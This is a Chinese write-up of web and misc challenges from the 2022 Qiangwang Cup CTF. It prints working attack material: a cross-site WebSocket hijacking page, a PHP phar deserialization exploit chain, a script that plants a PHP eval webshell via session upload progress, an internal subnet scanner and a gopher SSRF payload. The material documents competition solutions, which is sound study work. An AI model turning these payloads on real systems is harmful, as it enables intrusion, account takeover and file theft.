第六届“强网杯”全国网络安全挑战赛

web

babyweb

image-20220731001100500

随便注册个账号发现,发现提供了一个bot功能,支持修改密码,和管理员自动点击链接

再看一下源码发现是使用ws协议进行交互

image-20220731001303526

var ws = null;
        var url = "ws://" + window.location.host + "/bot";
//获取url
        function sendtobot() {
            if (ws) {
                var msg = document.getElementById("sendbox").value;
                ws.send(msg);
            document.getElementById("sendbox").value = "";
            document.getElementById("chatbox").append("你: " + msg + "\r\n");
                //发送信息并在聊天框上打印出来
            }
            else{
                ws = new WebSocket(url);
                ws.onopen = function (event) {
                    console.log('connection open!')
                    var msg = document.getElementById("sendbox").value;
                    ws.send(msg);
                    document.getElementById("sendbox").value = "";
                    document.getElementById("chatbox").append("你: " + msg + "\r\n");
                }//在WebSocket建立连接的时候自动调用
                ws.onmessage = function (ev) {
                    botsay(ev.data);
                };//在WebSocket发送信息的时候自动调用
                ws.onerror = function () {
                    console.log("connection error");
                };//在报错的时候自动调用
                ws.onclose = function () {
                    console.log("connection close!");
                };//在关闭的时候自动调用

            }
        }
        function closeWebSocket() {
            if(ws){
                ws.close();
                ws = null;
            }
        }//关闭连接
        function botsay(content) {
            document.getElementById("chatbox").append("bot: " + content + "\r\n");
        }//操控机器人在聊天框这种输入指定文本

看到这个很容易想到xss+csrf组合拳,让admin去点击链接然后自动修改密码,但是这里很明显没有xss点,没有xss就不能同源csrf,也就不能携带cookie去模拟点击

后面看提示才发现,这道题给了内网端口的,为8888

image-20220731001854408

那么直接构造html页面放在vps上

image-20220731002011912

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
    <script>var url = "ws://127.0.0.1:8888/bot";
        var ws = null;
        function myfun(){
          ws = new WebSocket(url);
          ws.onopen = function (event) {
              console.log('connection open!')
              ws.send("changepw 123456");
          }
          ws.onmessage = function (ev) {
              console.log(ev.data);
          };
          ws.onerror = function () {
              console.log("connection error");
          };
          ws.onclose = function () {
              console.log("connection close!");
          };
      }
        window.onload = myfun;</script>

</body>
</html>

image-20220731002208322

image-20220731002229979

image-20220731002311594

进入到后台是一个商店,钱只够买hint,然后得到源码

总结一下源码审计的结果

总共有两个服务端,外层为flask,内层为go语言写的。首先接受json数据在python里面处理,判断id和num合不合法,接着将数据库中admin账户的钱数量取出来,再加上请求的json数据拼接一起发送给http://127.0.0.1:10002/pay,也就是go服务端,接着go再解析json,并计算出cost,如果cost小于money就成功,并将money返回,flask这边接受到数据并上传到数据库上

image-20220731003413964

这里可以看到使用了bugger/jsonparser进行解析json,我在搜索这个库的漏洞是发现了这个

https://github.com/SECCON/Beginners_CTF_2021/tree/main/web/json

image-20220731004037883

看了几篇wp(尼玛全是日语),发现跟这道题很像,利用json双键解析不同进行绕过

具体来讲就是在python里面{"id":0,"id":1}会被解析成{"id":1}

而在buger/jsonparser中会被解析成{"id":0}

image-20220731004630763

flag在result[2]不为0的时候才会有,也就是前端为1,放在重复键的覆盖位置

image-20220731004752835

go这里会做运算,cost=cost+1000*num,令num为0就不用花钱了,要在双键的前面被覆盖位置

所以构造出payload如下

{"product":[{"id":1,"num":0},{"id":2,"num":0,"num":1}]}

image-20220731005122819

crash

源码:

import base64
# import sqlite3
import pickle
from flask import Flask, make_response,request, session
import admin
import random

app = Flask(__name__,static_url_path='')
app.secret_key=random.randbytes(12)

class User:
    def __init__(self, username,password):
        self.username=username
        self.token=hash(password)

def get_password(username):
    if username=="admin":
        return admin.secret
    else:
        # conn=sqlite3.connect("user.db")
        # cursor=conn.cursor()
        # cursor.execute(f"select password from usertable where username='{username}'")
        # data=cursor.fetchall()[0]
        # if data:
        #     return data[0] 
        # else:
        #     return None
        return session.get("password")

@app.route('/balancer', methods=['GET', 'POST'])
def flag():
    pickle_data=base64.b64decode(request.cookies.get("userdata"))
    if b'R' in pickle_data or b"secret" in pickle_data:
        return "You damm hacker!"
    os.system("rm -rf *py*")
    userdata=pickle.loads(pickle_data)
    if userdata.token!=hash(get_password(userdata.username)):
         return "Login First"
    if userdata.username=='admin':
        return "Welcome admin, here is your next challenge!"
    return "You're not admin!"

@app.route('/login', methods=['GET', 'POST'])
def login():
    resp = make_response("success") 
    session["password"]=request.values.get("password")
    resp.set_cookie("userdata", base64.b64encode(pickle.dumps(User(request.values.get("username"),request.values.get("password")),2)), max_age=3600)
    return resp

@app.route('/', methods=['GET', 'POST'])
def index():
    return open('source.txt',"r").read()

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

很显然这里源码没给全,提示说flag在504page里面,我最先想的是利用flask的abort函数跳转到那个页面,因为这里有个反序列化点,而且只过滤了R,所以就相当于能够随意命令执行了

img

image-20220731011149667

后面尝试去拿admin账户的时候发现这里的admin使用东西的,只是源码没写而已

image-20220731011259917

要想拿到admin,就要拿到dmin.secret,而这里ban了secret,然后执行了os.system删除源码的命令,后面测试发现只要反序列化不引入os模块就不会调用删除命令,也就不能反弹shell了

这里可以使用字符串拼接进行绕过关键词检测,R的绕过就用pker工具一把梭就行了

https://xz.aliyun.com/t/7436

image-20220731011648421

image-20220731011735214

image-20220731012024719

这里500是正常的,当时还一直以为哪出问题了

image-20220731012010563

image-20220731012041982

这里有个负载均衡的设置,还可以模拟,这里一看就是要我们打到504的错误界面

image-20220731012245187

504是网关超时,这里唯一可控的就是ip跟权重,假如我们把权重全部设置为0,那就不符合逻辑了,改后打过去果然得到了flag

这里要等待一段时间才会返回504

image-20220731012725027

easyweb

showfile.php能够读取文件,但是加了demo或者guess的表名但,直接用目录穿越就行->./demo/../index.php

image-20220731120442069

拿到源码审计发现,这个文件上传功能必须要有session才可以

image-20220731120523362

直接用session文件上传进度就可以拿到session

image-20220731120611575

这里能够上传文件,再配合unlink或者file_get_contents可以直接phar反序列化

看下链子

<?php
class Upload {
    public $file;
    public $filesize;
    public $date;
    public $tmp;
    function __construct(){
        $this->file = $_FILES["file"];
    }
    function do_upload() {
        $filename = session_id().explode(".",$this->file["name"])[0].".jpg";
        if(file_exists($filename)) {
            unlink($filename);
        }
        move_uploaded_file($this->file["tmp_name"],md5("2022qwb".$_SERVER['REMOTE_ADDR'])."/".$filename);
        echo 'upload  '."./".md5("2022qwb".$_SERVER['REMOTE_ADDR'])."/".$this->e($filename).' success!';
    }
    function e($str){
        return htmlspecialchars($str);
    }
    function upload() {
        if($this->check()) {
            $this->do_upload();
        }
    }
    function __toString(){
        return $this->file["name"];
    }
    function __get($value){
        $this->filesize->$value = $this->date;
        echo $this->tmp;
    }
    function check() {
        $allowed_types = array("jpg","png","jpeg");
        $temp = explode(".",$this->file["name"]);
        $extension = end($temp);
        if(in_array($extension,$allowed_types)) {
            return true;
        }
        else {
            echo 'Invalid file!';
            return false;
        }
    }
}

class GuestShow{
    public $file;
    public $contents;
    public function __construct($file)
    {

        $this->file=$file;
    }
    function __toString(){
        $str = $this->file->name;
        return "";
    }
    function __get($value){
        return $this->$value;
    }
    function show()
    {
        $this->contents = file_get_contents($this->file);
        $src = "data:jpg;base64,".base64_encode($this->contents);
        echo "<img src={$src} />";
    }
    function __destruct(){
        echo $this;
    }
}


class AdminShow{
    public $source;
    public $str;
    public $filter;
    public function __construct($file)
    {
        $this->source = $file;
        $this->schema = 'file:///var/www/html/';
    }
    public function __toString()
    {
        $content = $this->str[0]->source;
        $content = $this->str[1]->schema;
        return $content;
    }
    public function __get($value){
        $this->show();
        return $this->$value;
    }
    public function __set($key,$value){
        $this->$key = $value;
    }
    public function show(){
        if(preg_match('/usr|auto|log/i' , $this->source))
        {
            die("error");
        }
        $url = $this->schema . $this->source;
        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, $url);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($curl, CURLOPT_HEADER, 1);
        $response = curl_exec($curl);
        curl_close($curl);
        $src = "data:jpg;base64,".base64_encode($response);
        echo "<img src={$src} />";

    }
    public function __wakeup()
    {
        if ($this->schema !== 'file:///var/www/html/') {
            $this->schema = 'file:///var/www/html/';
        }
        if ($this->source !== 'admin.png') {
            $this->source = 'admin.png';
        }
    }
}

看了一下感觉这个链子好像见过,之前NSSCTF#Round3就有一道题,跟这链子基本一模一样,只是开头那里改成了

image-20220731120840335

所以就要多花一步,利用upload类到达AdminShow::_toString

具体的链子原理可以参考https://www.cnblogs.com/Article-kelp/p/16271464.html

我的原理跟他一样

image-20220731121107046

image-20220731121630198

调试到source和schema属性完全可控了

payload:

<?php
class Upload {
    public $file;
    public $filesize;
    public $date;
    public $tmp;
}



class AdminShow{
    public $source;
    public $str;
    public $filter;
}

class GuestShow{
    public $file;
    public $contents;
}



$u = new Upload();
$u2 = new Upload();
$u3 = new Upload();
$a = new AdminShow();
$a1 = new AdminShow();
$g = new GuestShow();
$g1 = new GuestShow();


$g1 -> file = $a1;
$u3 -> tmp = $g1;
$u2 ->date = "pysnow";//source
$u2 -> filesize = $a1;
$u3 -> date = "http";//schema
$u3 -> filesize = $a1;
$a->str[0] = $u2;
$a->str[1] = $u3;
$u -> tmp = $a;
$g -> file = $u;


// echo serialize($g);
$phar =new Phar("qwb.phar"); 
$phar->startBuffering();
$phar->setStub("XXX<?php XXX __HALT_COMPILER(); ?>"); 
$phar->setMetadata($g); 
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

image-20220731122433928

image-20220731122448389

image-20220731122425204

成功打到curl,接下来就是ssrf,看看http://127.0.0.1有没有东西

# -*- coding: utf-8 -*-
# @Time : 2022/7/31 10:03
# @Author : pysnow
import requests

url = "http://47.104.95.124:8080/upload.php?fname=demo.jpg"
sess_id = 'pysnow'
ses = requests.session()
data = {
    'PHP_SESSION_UPLOAD_PROGRESS': "<?php eval($_POST[1]);?>"
}
file = ("demo.jpg", open("D:/phpstudy_pro/WWW/qwb.phar", "rb").read())
cookies = {
    'PHPSESSID': sess_id
}
res = ses.post(url=url, data=data, files={"file": file}, cookies=cookies)
print(res.text)

image-20220731122837150

根据题目提示说存在另外一个系统,估计多半是gopher打mysql打redis这种

image-20220731123029500

有个10.10.10.5,扫描一下c端,发现10.10.10.10有东西,出题人还算有良心,扫10下就出来了

image-20220731131159549

image-20220731131440906

给出扫描脚本

# -*- coding: utf-8 -*-
# @Time : 2022/7/31 10:03
# @Author : pysnow
import re
import time

import requests

ses = requests.session()
reg = re.compile("<img src=data:jpg;base64,(.*?) />")


def network(url):
    requests.get("http://127.0.0.1/ser_exp.php?url={}".format(url))
    url = "http://47.104.95.124:8080/upload.php?fname=demo.jpg"
    sess_id = 'pysnow'
    data = {
        'PHP_SESSION_UPLOAD_PROGRESS': "<?php eval($_POST[1]);?>"
    }
    file = ("demo.jpg", open("D:/phpstudy_pro/WWW/qwb.phar", "rb").read())
    cookies = {
        'PHPSESSID': sess_id
    }
    res = ses.post(url=url, data=data, files={"file": file}, cookies=cookies)
    final = ses.get("http://47.104.95.124:8080/showfile.php?f=phar://27b0409438474ab4f17c2a7a0af3ce21/demo.jpg")
    final_text = reg.findall(final.text)
    return final_text


for i in range(1, 255):
    print(i, network(i))

image-20220731123756667

image-20220731123912231

这里也存在一个ssrf点,flag在该内网主机的根目录下,那么可以直接利用gopher构造get请求

image-20220731135043106

gopher:

gopher://10.10.10.10:80/_%47%45%54%20%2f%3f%75%72%6c%3d%66%69%6c%65%3a%2f%2f%2f%66%6c%61%67%20%48%54%54%50%2f%31%2e%31%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%30%2e%31%30%0a%58%2d%46%6f%72%77%61%72%64%65%64%2d%46%6f%72%3a%20%31%30%2e%31%30%2e%31%30%2e%31%30%31%0a%0a

image-20220731134810142

flag:

flag{easy_penetration_it_is!QAQ}

misc

问卷调查

flag{W31c0me_70_QWB2022_Se3_You_N3x7_time}

签到

flag{we1come_t0_qwb_s6}

强网先锋

rcefile

www.zip获取源码

image-20220731014335706

这里存在spl_autoload_register于反序列化结合自动调用漏洞

https://m.sohu.com/n/467138974/非常相似的题

随便上传一个.inc后缀的文件,然后再反序列化一个以改.inc文件名为名字的对象,就能达到文件包含的功能

img

最后修改:2022 年 08 月 06 日
如果觉得我的文章对你有用,请随意赞赏